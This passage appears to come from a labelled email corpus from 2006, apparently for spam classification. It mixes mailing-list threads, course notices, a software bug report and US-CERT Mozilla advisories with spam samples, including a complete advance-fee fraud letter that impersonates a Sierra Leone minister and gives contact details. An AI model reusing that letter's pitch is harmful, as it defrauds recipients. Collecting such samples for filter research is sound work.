Key for the software version on the local disk in ~/Library/Preferences/GARRITAN PERSONAL ORCHESTRA.plist. > > This works fine the first time the application is tarted, but if the user logs in on another machine, the private plist will contain the key for the other machine, and the global configuration (which contains the correct key for the software on that machine) is ignored, leading to a warning that the software is not licensed. > > The user can work around this by always removing the personal preferences plist before starting Garritan, but that is obviously a cumbersome workaround. Garritan should not copy the key information into the private file if it is found centrally. > > (Also, the name of the file \\""GARRITAN PERSONAL ORCHESTRA.plist\\"" deviates from the common name schemes for virtually all other applications, as it is all upper case and contains whitespace). --sm4nu43k4a2Rpi4c-- --Bn2rw/3z4jIqBvZU Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.1 (NetBSD) iD8DBQFD9lfrH321zrgOg6URAn38AJ462SHhcQqYYM01xKuf14qmor9tSQCdEy+J zfYvqc4w8bbgfQCqNMZ4458= =+hN/ -----END PGP SIGNATURE----- --Bn2rw/3z4jIqBvZU-- State-Changed-From-To: feedback->suspended State-Changed-By: jschauma State-Changed-When: Tue, 21 Feb 2006 22:55:27 -0500 State-Changed-Why: Vendor confirms that the problem is in their software and that at the moment there's nothing we can do about it. They may fix it in a future version, so we suspend the PR until then. From: Jan Schaumann To: bugs Cc: moriarty mforde ogould Subject: Re: apple/2119: garritan gets confused with multiple keys Date: Mon, 6 Mar 2006 12:40:18 -0500 --WhfpMioaduB5tiZL Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Jan Schaumann wrote: > >Synopsis: garritan gets confused with multiple keys I have implemented a LoginHook that removes the preferences file for each user upon login. Nasty hack, but this should solve some of the problems with Garritan. See also: http://www.bombich.com/mactips/loginhooks.html -Jan --WhfpMioaduB5tiZL Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.1 (NetBSD) iD8DBQFEDHQCH321zrgOg6URAhECAJ9R0SSiCRb9QekzCghf4qYXvgbhuACfVWjk xIpecYL+2HmKQrBoLrJpWWU= =PZR0 -----END PGP SIGNATURE----- --WhfpMioaduB5tiZL-- >Unformatted:",0,1 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Feb 2006 15:05:42 -0700",[DMDX] Re: questions about COT,"Oh, yeah, forgot there is another frame there. Thanks a lot, Jonathan!! :-) shiaohui ----- Original Message ----- From: ""Jonathan C. Forster"" To: Sent: Monday, February 06, 2006 12:49 PM Subject: [DMDX] Re: questions about COT > At 11:58 AM 2/6/2006 -0700, you wrote: >>Ah, I see! I totally forgot that COT is between clock ons, not between >>the onsets of items!! Silly me! >> >> >>To double check whether I am understanding this right, please bear with me >>with my script again: >> >>100 c; >> >>+101 * %1 / %1/ ""READY"" /; >> >>+1001 ""(instruction)""/ * ""text"" /!; >> >> >> From the above script, I should at least get 2*16.58ms + 724*16.58 ms+ >> 90*16.58 ms (the period of ""(instruction)"" in item 1001, whose frame >> duration is defined in the parameter line as ). All these add up >> to 13529.28 ms. Since I got 14341.99 ms from the data file, I probably >> had 812.71 ms that came from the delay between items 101 & 1001. Is that >> correct? > > > Minus one tick to put the blank frame at the end of 101 up. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Barium: What you do with dead chemists. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 ARL Communications ,,,"On the ARL Server (Feb. 6, 2006)","On the ARL Server Week of February 6, 2006 ARL Federal Relations E-News, Winter 2006 ARL/ACRL Institute on Scholarly Communication FAQ SPARC E-News, December 2005-January 2006 SPARC Open Access Newsletter, February 2, 2006 Sunshine Week 2006: Are We Safer in the Dark? A National Dialogue on Open Government and Secrecy, a national teleconference on March 13, 2006 Living the Future 6: WOW!--Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5-8, 2006 ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12-14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 ,,,,"6148901 for [log in to unmask]; Mon, 6 Feb 2006 16:50:44 -0500 X-Original-To: [log in to unmask] Delivered-To: [log in to unmask] Received: from sojourner.vpsas.ad.msu.edu (sojourner.vps.msu.edu [35.8.74.240]) by list.msu.edu (Postfix) with ESMTP id 27C51522DB for <[log in to unmask]>; Mon, 6 Feb 2006 16:50:44 -0500 (EST) X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C62B67.564D54FA"" X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Free Concert Passes! Thread-Index: AcYrZ1YQ8Vmw5wg3SpiediD+uchvfQ== Message-ID: <[log in to unmask]> Date: Mon, 6 Feb 2006 16:50:25 -0500 Reply-To: ""Watson, Fred"" <[log in to unmask]> Sender: Registered Student Organizations <[log in to unmask]> From: ""Watson, Fred"" <[log in to unmask]> Subject: Free Concert Passes! To: [log in to unmask] Precedence: list X-Virus: None found by Clam AV ________________________________ From: Mairin Brzica [mailto:[log in to unmask]] Sent: Monday, January 30, 2006 11:04 AM To: Shafer, Rick Cc: Randall J. Hall; [log in to unmask] Subject: Ruckus Contest Hi Rick, Per our conversation today, is this something you could help promote? Ruckus is giving away concert tickets and passes to a ""meet and greet"" with Keith Urban on February 11th at the Breslin Center. I have attached a copy of an email we would like to get out to the students and if you could send it to the various lists of student orgs, we would appreciate it! In order to make sure the students are able to click on the Keith Urban Contest Page, before the email is sent out, you will have to do the following in the text of the attachment: 1) Highlight ""Keith Urban Contest Page"" in the email attached 2) Right click it and select ""Hyperlink"" 3) In the address field of this hyperlink you will need to paste in the following link: http://wapps.ruckus.com/cgi-bin/WebObjects/AdTracker.woa/wa/clickThru?ad Id=A10008 The students will then be taken right to the url to enter the contest. Let me know if you can send me a copy of the email that goes out to the students. I appreciate any help you could give. Let me know if you have any questions. Best, Mairin Brzica Ruckus Network, Inc. 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Hornyh_74 wanna meets ""Singgle and loving it! Not looking for coommitment but looking for someone who can match my pace in the bedr0om. Ladies & Men should all apply!"" clickhere_to_coontact-> Dorothy picked them up and had the Winkies carry them back to the castle, where they were stuffed with nice, clean straw; and behold! here was the Scarecrow, as good as ever, thanking them over and over again for saving him.",1,1 Azubah Morant ,elvia@cs.utexas.edu,"Mon, 06 Feb 2006 21:20:04 -0700",Re: your VtAGhRA,"Hi L V X V C A P e A a I I m r v L n A A b o i I a G L i z t U x R I e a ra M A S n c http://www.upomeres.com goods he sent ahead by water. Still elves are light-footed, and though they were not in these days much used to the marches and the treacherous lands between the Forest and the Lake, their going was swift. Only five days after the death of the dragon they came upon the shores and looked on the ruins of the town. Their welcome was good, as may be expected, and the men and their Master were ready to make any bargain for the ",1,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Tue, 07 Feb 2006 08:16:29 -0600",Today's Tutorial session,"Hi, We shall be reviewing the various algorithms for arithmetic operations ( ie for adders, multipliers etc) and also work out some problems, in today's tutorial session. I encourage you all to attend it if you have trouble with the above mentioned topic. Madhavi ",0,0 kendall giovannini ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Feb 2006 07:25:27 -0800",[DMDX] Script writing assistance,"I am new to this program and not too computer savvy. I am trying to do an auditory only prime experiment with a sound presented, 50 ms silence, second sound, response format. After carefully following out how to write the script, it keeps telling me that is cannot read some sort of text in quotes that looks like this: /insrdr However, I don't have anything that even remotely resembles that! Also, it is having trouble with my MapResponse commands. DMDX keeps reading that there is a bracket inserted in the command. However, when I go back to the script, there is not. I need assistance. Thanks. Kendall Wayne State University Go confidently in the direction of your dreams. Live the life you have imagined. Henry David Thoreau (1817 - 1862) --------------------------------- Yahoo! Mail - Helps protect you from nasty viruses.",0,0 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Feb 2006 15:35:51 -0000",[DMDX] RE: Script writing assistance,"two points as a starter which got me until I got used to it: 1. use ONLY MS Wordpad or Notepad to edit the files - other programs (especially WORD) leave all sorts of rubbish as hidden commands which DMDX can't cope with. 2. make sure 'ignore unknown rtf' is ticked when you run the script ! maybe if you're new, like I was until recently, those 2 things will help .... Chris ________________________________ From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of kendall giovannini Sent: 07 February 2006 15:25 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Script writing assistance I am new to this program and not too computer savvy. I am trying to do an auditory only prime experiment with a sound presented, 50 ms silence, second sound, response format. After carefully following out how to write the script, it keeps telling me that is cannot read some sort of text in quotes that looks like this: /insrdr However, I don't have anything that even remotely resembles that! Also, it is having trouble with my MapResponse commands. DMDX keeps reading that there is a bracket inserted in the command. However, when I go back to the script, there is not. I need assistance. Thanks. Kendall Wayne State University Go confidently in the direction of your dreams. Live the life you have imagined. Henry David Thoreau (1817 - 1862) ________________________________ Yahoo! Mail - Helps protect you from nasty viruses.",0,1 Carol Holloman ,"Laurie Williams , ""Vincent W. Freeh"" ","Tue, 07 Feb 2006 09:50:55 -0500",[Fwd: RE: Wolfvision Doc Cams],"Laurie and Vince, Please see Mike's message below. I can't believe the difference in costs for the Samsung cameras. We could buy lots of them for the price of one Wolfvision. Carol -------- Original Message -------- Subject: RE: Wolfvision Doc Cams Date: Tue, 7 Feb 2006 08:52:46 -0500 From: Mike Wenhart To: Carol Holloman Carol, Yes, the Wolfvision are very expensive (especially those particular models). I am not a big fan of the Wolfvision for this reason. Don't get me wrong, they are very good, but I think there are other models just as good for a fraction of the cost. Dickran Parunak, Classroom Technology Coordinator at NCSU, has standardized on a different model of Wolfvision in most cases. However, I still think there is another make that is comparable for considerably less. My recommendation is the Samsung UF-80ST or UF-80DX. Both are the same footprint, with the difference being some additional features that are included with the DX model (look at it as STandard and DeluXe). My feedback has been the additional features on the DX model are beneficial to the education environment and the DX should be recommended in the schools. Your cost on the DX model is $2169. Your cost on the ST model is $1647. I have attached a specification sheet on this unit. Please call me with any questions. If you need a formal quote I can get that to you also. Thanks Carol. Mike Wenhart, CTS The Whitlock Group 4020 Stirrup Creek Drive, Suite 111 Durham, NC 27703 (919) 806-1009 -----Original Message----- From: Carol Holloman [mailto:holloman@csc.ncsu.edu] Sent: Monday, February 06, 2006 4:50 PM To: Mike Wenhart Subject: Re: Wolfvision Doc Cams Mike, Thanks very much for the quote. Dr. Williams would like for you to quote a couple of other document cameras that are several thousand dollars cheaper than these two, if possible. The Wolfvision ones apparently are highly rated by users but they seem to be out of our price range. Can you recommend others that are of exellent quality but substantially cheaper? Thanks, Carol Holloman Accounting Technician III North Carolina State University Department of Computer Science 890 Oval Drive Engineering Building II,Room 3314 Campus Box 8206 Raleigh, NC 27695-8206 Telephone: 919-515-2930 FAX: 919-515-7896 Mike Wenhart wrote: >Carol, > >Attached is the quote for the Document Cameras from Wolfvision you >requested. Please let me know if you need anything else. Thanks. > >Mike Wenhart, CTS >The Whitlock Group >4020 Stirrup Creek Drive, Suite 111 >Durham, NC 27703 >(919) 806-1009 > > > > > -- No virus found in this incoming message. Checked by AVG Free Edition. Version: 7.1.375 / Virus Database: 267.15.2/251 - Release Date: 2/4/2006 -- Carol Holloman Accounting Technician III North Carolina State University Department of Computer Science 890 Oval Drive Engineering Building II,Room 3314 Campus Box 8206 Raleigh, NC 27695-8206 Telephone: 919-515-2930 FAX: 919-515-7896",0,0 Yash Gandhi ,"cs530@merlot.usc.edu, yogendra@usc.edu, saurabdg@usc.edu","Tue, 07 Feb 2006 10:51:30 -0800",Changes in the PKI lab(cs530l),"Hello, There has been a change in the key you have to use for the lab this is the new key 1024D/AFB020432006/02/07 Security Systems Lab (Spring 2006) < cs530@usc.edu > I'll make changes in the handout also. yash",0,1 US-CERT Alerts ,alerts@us-cert.gov,"Tue, 07 Feb 2006 13:52:59 -0500",US-CERT Cyber Security Alert SA06-038A -- Multiple Vulnerabilities in Mozilla Products ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-038A Multiple Vulnerabilities in Mozilla Products Original release date: February 7, 2006 Last revised: -- Source: US-CERT Systems Affected * Mozilla web browser * Mozilla mail client * Firefox web browser * Thunderbird mail client Overview By taking advantage of one or more vulnerabilities in Mozilla products, an attacker may be able to take control of your computer. Solution Upgrade to the latest version of Firefox Mozilla has released an updated version of Firefox to correct these problems. Description There are vulnerabilities in various features of the Mozilla web browser, Mozilla email client, Firefox web browser, and Thunderbird email client. Some of the vulnerabilities are connected to the way the application handles URLs or images. In one instance, an attacker could cause an application to crash or could take control of your computer by convincing you to view a malicious web site or email message. For more technical information, see US-CERT Technical Alert TA06-038A. References * Mozilla Foundation Security Advisory 2006-04 - * US-CERT Technical Cyber Security Alert TA06-038A - * US-CERT Vulnerability Note VU#592425 - * US-CERT Vulnerability Note VU#759273 - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-038A Feedback VU#592425"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History February 7, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ+jrUH0pj593lg50AQKaXwf/T+952fhKRtLMs8hrrfAO/ZVqqgxObDjQ 6bSgtnXq2SznygUEYE++PjojtkwodRa8m3aUtvtuRDq2GKhk16A2kaevHeZVrxOT 2m743SBeeDUR8OzDirQc86dy8jRVXxZaMLY8hhlT9WftA4BtsLP5JdhxwTrVr6Q6 9cCPF28bkjcpB3Wiyx+nhN8UJE4dtrxUZJ1jI/z9vqzpKUGrwIh2lRxb/TB0N5Cx 6AUbzuBsuZEH/7i7MjstSQxVBD+ZrlaKd+hyxgotI83+GPiVfPau8OCs1PkBNYBj pGGxEkaIXLjHx4MreszfCkmMYbXC5Tn5dja6qeA2RbpRFscZSr5stA== =Fh0f -----END PGP SIGNATURE-----",0,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Tue, 07 Feb 2006 12:10:26 -0600",lecture notes,"CS352-ers, I've posted the lecture notes from today as well as a link to a number of sites. Also included is a link to the top-500 list. FYI - the lonestar machine at TACC (http://www.tacc.utexas.edu/) is #91 on the list. Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 07 Feb 2006 12:37:20 -0700",[DMDX] Re: RE: Script writing assistance,"At 03:35 PM 2/7/2006 +0000, you wrote: >two points as a starter which got me until I got used to it: > >1. use ONLY MS Wordpad or Notepad to edit the files - other programs >(especially WORD) leave all sorts of rubbish as hidden commands which DMDX >can't cope with. > >2. make sure 'ignore unknown rtf' is ticked when you run the script ! Definitely affirmative the second recommendation, I should change the code to make that the default option. But I actually get more problems from users these days because they use WordPad or worse, Notepad. With Notepad they bust some part of the RTF syntax that's about as opaque as mud and Wordpad has bunch of weirdnesses that just seem to get weirder as time goes by. I personally have no trouble with Word but then I use it simply when manipulating DMDX scripts. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you look like the photo on your driver's license, you aren't well enough to drive. ",0,0 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Tue, 07 Feb 2006 13:48:37 -0500",US-CERT Technical Cyber Security Alert TA06-038A -- Multiple Vulnerabilities in Mozilla Products ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-038A Multiple Vulnerabilities in Mozilla Products Original release date: February 7, 2006 Last revised: -- Source: US-CERT Systems Affected Mozilla software, including the following, is affected: * Mozilla web browser, email and newsgroup client * Mozilla SeaMonkey * Firefox web browser * Thunderbird email client Overview Several vulnerabilities exist in the Mozilla web browser and derived products, the most serious of which could allow a remote attacker to execute arbitrary code on an affected system. I. Description Several vulnerabilities have been reported in the Mozilla web browser and derived products. More detailed information is available in the individual vulnerability notes, including: VU#592425 - Mozilla-based products fail to validate user input to the attribute name in ""XULDocument.persist"" A vulnerability in some Mozilla products that could allow a remote attacker to execute Javascript commands with the permissions of the user running the affected application. (CVE-2006-0296) VU#759273 - Mozilla QueryInterface memory corruption vulnerability Mozilla Firefox web browser and Thunderbird mail client contain a memory corruption vulnerability that may allow a remote attacker to execute arbitrary code. (CVE-2006-0295) II. Impact The most severe impact of these vulnerabilities could allow a remote attacker to execute arbitrary code with the privileges of the user running the affected application. Other impacts include a denial of service or local information disclosure. III. Solution Upgrade Upgrade to Mozilla Firefox 1.5.0.1 or SeaMonkey 1.0. For Mozilla-based products that have no updates available, users are strongly encouraged to disable JavaScript. Appendix A. References * Mozilla Foundation Security Advisories - * Mozilla Foundation Security Advisories - * US-CERT Vulnerability Note VU#592425 - * US-CERT Vulnerability Note VU#759273 - * US-CERT Vulnerability Notes Related to February Mozilla Security Advisories - * US-CERT Vulnerability Note VU#604745 - * CVE-2006-0296 - * CVE-2006-0295 - * Firefox - Rediscover the Web - * The SeaMonkey Project - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-038A Feedback VU#592425"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Feb 7, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ+jqRn0pj593lg50AQLZBQf9Hm+BCzOd/iwaoQVyudnE8ut/m+s/xgeG 10b2mpig57dPaSKsq9EpOitFIdHmvFha85OkAz9lfxTprrGm9kjw1lYlSH8idIst Oq4oXwpPOcwVpOY/OoVeAyGSuOdmeGl1CsMSczD10XbmWOyPf6NBnR/e8U0Vebeu GglhyODY/eKjbQ6bvDz19t76F5FwiDYKsMpo6CrEMhJWYwQXw3I4O1c9A2/t4OUP N7+ZShp5/Cql919Nhl3InYMnlNiOeQLxm45PYfXKwW0r4HCM/Rq/SEKsmuDOYtA/ 01gBu67urEw63Z0xbjoVJL/RW+5cavYS+gNbCZmaDNbR9WJP04k2PQ== =snvO -----END PGP SIGNATURE-----",0,1 dennist2@uwm.edu,DMDX@psy1.psych.arizona.edu,"Tue, 07 Feb 2006 17:02:29 -0600",[DMDX] dennist-new user," Hi, I'm new to the whole DMDX world, and have a few questions. I'm more or less illiterate as far as computer programming is concerned, so any help anyone can give me will be helpful. I plan on running my thesis experiment using auditory input only. The stimuli will be short, sentences, ""sung"" to notes. I haven't decided what, if anything, I want to appear on the screen. Possibly just icons for response with the mouse, or maybe not. If anyone has run something like this, I would appreciate any help. Thanks, Dennist dennist2@uwm.edu ",0,0 shirly yema ,shirly_4yema@yahoo.com,"Tue, 07 Feb 2006 22:28:57 -0800","URGENT,"," Mrs.Shirley Yema GBUJAMA Minister Of Social Welfare,Gender & Children Affairs, Sierra Leone Dear One, With warm heart I offer my friendship,and greetings and I hope this mail meets you in good time. However strange or surprising this contact might seem to you as we have not met personally or had any dealings in the past, I humbly ask that you take due consideration of its importance and the immense benefit it will be to you. After careful consideration with my son,we resolved to contact you for your most needed assistance in this matter. I duly apologize for infringing on your privacy,if this contact is not acceptable to you,as I make this proposal to you as a person of integrity. First and foremost I wish to introduce myself to you.My name is Mrs.Shirley Yema Gbujama,mother of three and the Minister of Social Welfare, Gender and Children Affairs and other Ministries for eight years running.You may view my profile on the following link: http://www.statehouse-sl.org/sygbujama.html I will now give you a general overview of the situation.When I was sworn in as a Minister of Social Welfare,Gender and Children affairs in 1996, with my influence,my husband Mr.Thomas Gbujama,a very successful businessman was awarded several contracts in my Ministry and had direct dealings with foreign investors in this field due to my political status. I was not involved in my husband's business,which was very vast and successful.My beloved husband died whilst on an official trip to one of his project sites where they were attacked by rebels and killed and their corpses were never found. When my husband died,I was contacted as next of kin by a private security company firm in Europe to come forth with the Certificate of Deposit and claim a safety deposit my husband had in their Vault in his name. At that time,my children and I did not have an idea where the certificate might be.We then instructed the Security firm to continue holding the safety deposit until further instructions from me. Whilst preparing for the second remembrance of my beloved husband,I was going through his library collection and to my astonishment I discovered a Certificate of Deposit for the safety deposit with this private firm,and other documents relating to the safety deposit in a book. The safety deposit,which is a trunk, is stocked with hard-currency(US Dollars)totallying $24,500,000.00 which was generated from cash payments from his business associates in the diamond trade from Antwerp-Belgium. Though I knew my late husband was in the diamond business,I did not have the knowledge that he moved funds in cash and with my present position as a Minister in this present government,it will cause a lot of problem for me and my family cause if the government should know of this cash;they might think that my late husband has a hand in the Blood Diamonds during the civil war in my Country so I had to move this deposit boxes to a finance and Security company in Accra-Ghana with the aid of my late husband's friend that works with sceurity company telling him that this funds belonged to my late husband's partner and that we have been trying to locate him for quite sometime now,as such I have contacted you to act as a TRUSTEE to help me clear this deposit boxes from the Finance and Security company in Accra-Ghana,and we have decided to have this funds invested immediately in commercial and residential properties abroad as well as profitable ventures,as any member of my family cannot hold such a huge amount in our name due to my political status. Hence we sincerely propose to you to render us your most needed assistance in this regard. If you agree to render us your assistance,your role in this project will be to act on my behalf as a TRUSTEE to receive the safety deposit containing the funds from the Security Firm. Though I believe this transaction should be based on mutuality,my family's interest will be protected by a family associate,who is a lawyer(attorney)attached to the Sierra Leone Embassy in the country where the Security Firm is located. He is now aware of the safety deposit,and I have informed him that I am locating one of my husband's business associates (you) to handle the funds and invest on our behalf,as he might be opposed to our decision if he found out that I rarely know you. For your reliable assistance,we are offering you,25%($6,125,000.00)of the funds. I want to thank you in advance as we anticipate your assistance in enabling us achieve this goal. On hearing from you,I will forward to you all the necessary documents that will assist you in clearing this deposit.As you may understand,due to my sensitive position in the present government,it is not safe to communicate with me via phone or fax.This is why I have communicated with you through my private email address and I will like us to keep it this way for the safety of this transaction. Please contact my son Mr.Richard Thomas GBUJAMA Jr,on his private phone number 00233 244 821 075 or email:richardtg@myway.com,richard_tgbujama@freeghana.com Whether or not you are interested in assisting us as this enable us make alternative plans in the event of non-interest on your part. With Warm regards, Mrs.Shirley Yema GBUJAMA --------------------------------- Bring words and photos together (easily) with PhotoMail - it's free and works with your Yahoo! Mail.",1,1 Minerva Cooper ,dwilkins@sunrise.cs.olemiss.edu,"Tue, 07 Feb 2006 22:13:53 -0500",Hi there!!! after," Contents to 0utlandi$h $ex http://ssunsetdz.com >> >> taminose 22308 yet ystems antic ",1,1 ,,,,"Windows NT v1.1b) with SMTP id <[log in to unmask]>; Wed, 8 Feb 2006 9:43:36 -0500 Received: from pswg2.ncusd203.org (mail203.ncusd203.org [216.124.78.249]) by mailhub3.dartmouth.edu (8.13.5/DND2.0/8.13.5) with SMTP id k18Egnp7025321 for <[log in to unmask]>; Wed, 8 Feb 2006 09:42:49 -0500 Received: from MAIL203.sd203.org ([IP=192.168.1.11]) by eSafe SMTP Relay 1139409311; Wed Feb 08 08:54:34 2006 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C62CBD.B0502265"" Subject: digital language labs Date: Wed, 8 Feb 2006 08:41:03 -0600 Message-ID: <[log in to unmask]> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: digital language labs Thread-Index: AcYsva/R51c4M0lKSfKpj/j8sz0bCA== From: ""Colleen Cannonruffo"" <[log in to unmask]> To: <[log in to unmask]> X-MailScanner: Found to be clean by mailhub3.Dartmouth.EDU X-MailScanner-From: [log in to unmask] This is a multi-part message in MIME format. ------_=_NextPart_001_01C62CBD.B0502265 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Hello all- I am with Naperville CUSD 203 in Naperville, IL. We are looking to replace our hardware-based Esprit Language Lab this coming school year when we upgrade the computers in that lab. We are hoping to use a software language lab in place of our existing system. So far we've researched both the Genesis and ReLanPro systems. I did some research in the Archives and learned about the SANAKO Lab 300 and SANS Virtuoso/Soloist systems; I've already ordered the Digital Language Lab Solutions publication offered by IALLT. If anyone out there using any of these systems would like to share their experiences with me, either on the list or offlist, I would appreciate any insight you might have to offer. I'm a little concerned that one of the systems we are seriously considering, the ReLANPro by ASC, isn't even mentioned in the IALLT publication. I'm assuming that means it's too new to have made it through the evaluation process to get into the manual. Colleen =20 Colleen Cannon-Ruffo TIS: Technology Integration Specialist Kingsley, River Woods and Scott / Foreign Language Naperville CUSD203 Naperville, IL Back to: Top of message | Previous page | Main LLTI page LISTSERV.DARTMOUTH.EDU",0,1 Ian Kash ,egs+summary,"Wed, 08 Feb 2006 16:08:18 -0500",PAPER 5,"One Hop Lookups proposes that that it is practical for each node to know the identity of every other so that most lookups can be completed in a single hop (the small number that cannot are due to information not having yet been propagated). Nodes are still arranged in a ring structure so that neighbors can determine who is alive. To limit bandwidth usage, nodes are grouped into slices and information about liveness is exchanged between slices only by slice leaders. To cut down on the bandwidth slice leaders use sending this information on to their slices each slice is divided into a few units each with a unit leader who passes these messages from the slice leader to each member of the slice. Liveness is only checked by neighbors, so if three nodes in a row along the righ fail, there may be a problem with getting the status of the one in the middle straightened out. If nodes elsewhere are allowed to report deadness in this case, there may be significant confusion when network partitions occur. Another problem is the load on slice leaders. In a network of 10^6 nodes, they claim the load on a slice leader is 350 kbps. They not that this requires a serious connection such as an institutional one. At 350 kbps, that is 3.6 GB of bandwidth used per day. It seems unreasonable to expect any institution or individual to donate that much bandwidth, so this system has significant incentive problems. Even in a small system of 10^5 nodes, 360 MB per day is a significant overhead for the home user with a cable modem they claim is suitable for a slice leader. Kelips proposes a similar concept, bust instead of requiring 1 hop they relax this to O(1) hops. Along with accepting longer time for infomation to propagate, this allows them to eliminate the excessive requirements on the slice leaders that the one hop paper had. Eacn node knows only its local affinity group of size sqrt(n) in its entirety and knows a few members of each other group. Rather than having leaders to maintain this information, it is maintained by gossip. While this does eliminate the heavy bandwidth consumption by the leaders, the tradeoff is that, as the one hop paper points out, it can take an hour in large systems for everyone to know about a particular join or leave. How much of a problem this presents in practice is unclear. ",0,0 Abhishek Santosh Gupta ,egs+summary,"Wed, 08 Feb 2006 20:17:57 -0500",paper 6 - O(1),"ONE HOP LOOKUPS BASIC STRUCTURE: every node randomly chooses a 128-bit node identifier resulting in the formation of a ring. the ring is divided into k contiguous intervals called slices. each slice has a slice leader which is dynamically chosen as the successor of the mid-point of the slice identifier space. each slice is subdivided into u equal units. Each unit has a unit leader which is dynamically chosen as the successor of the mid-point of the slice identifier space. NODE STATE : each node stores O(n) state. using odinary pinging mechansims ""keep alive"" messages would consume considerable bandwidth- however the above structure helps to reduce this b/w consumption. this results in O(1) lookup for most queries ( f is defined fraction). A query fails in its first attempt only if the notification due to membership change does not reach the querying node before the query. INFORMATION FLOW: 1) whenever a node detects a change in membership(due to failed successor or new node) it sends a message to its slice leader 2) the slice leader collects all such messages aggregates them for tbig before sending to other slice leaders (note that communication between different slice leaders is not synchronized) 3) each slice leader aggreates the messages that it recieves for twait and then dispatches the aggregate message to unit leaders. 4) information now flows within each unit such that if flows always away from the unit leader to the end of the unit. CHOOSING VALUES: the authors represent all variables in the form of 2 independent variables k and u and optimise the amount of b/w required for this entire information flow process stated above. leaders require more bandwidth than an odinary node. the authors suggest that some nodes could be classified as ""super nodes"" provided they satisfy required bandwidth criteria which seems pretty reasonable. POTENTIAL FLAWS: The authors mention that when a slice or unit leader fails, its successor detects this failure and becomes the new leader. It will also communicate with remaining nodes for missed events. However, the authors do not discuss as to what protocol should be carried out if a slice leader fails just before twait i.e. it has aggregated a set of messages (to which it has also sent ack) - these messages would be lost unless the sending node buffers the message even after receiving the acknowledgement. a similar situation also arises if a slice leader fails before tbig. in both cases, buffering should be sufficient, however increasing the lookup time for a certain set of queries. note that the interval at which the buffer can be reused is at the max total information flow cycle time (ttot) ",0,0 Willis Osemo ,,"Thu, 09 Feb 2006 10:11:41 +0300",Newsfash: Obtain a USAID Scholarship,"!!Newsflash!! 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Andy Woods School of Psychology Adeilad Brigantia University of Wales Bangor Gwynedd LL57 2AS, UK Tel:     + (0) 1248 38 3821 Fax:    + (0) 1248 38 2599 http://www.bangor.ac.uk/glaucoma ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Feb 2006 08:06:23 -0700",[DMDX] Re: problem selecting different RTF files,"At 02:38 PM 2/9/2006 +0000, you wrote: >Dear DMDX'ers, > >I'm having a problem opening different RTF files within DMDX. Specifically, >when I select my RTF through Browse and click OK, I'm often find that the >text window within the main DMDX start screen does not display the file I >selected (i.e. I cannot change RTF files within DMDX). 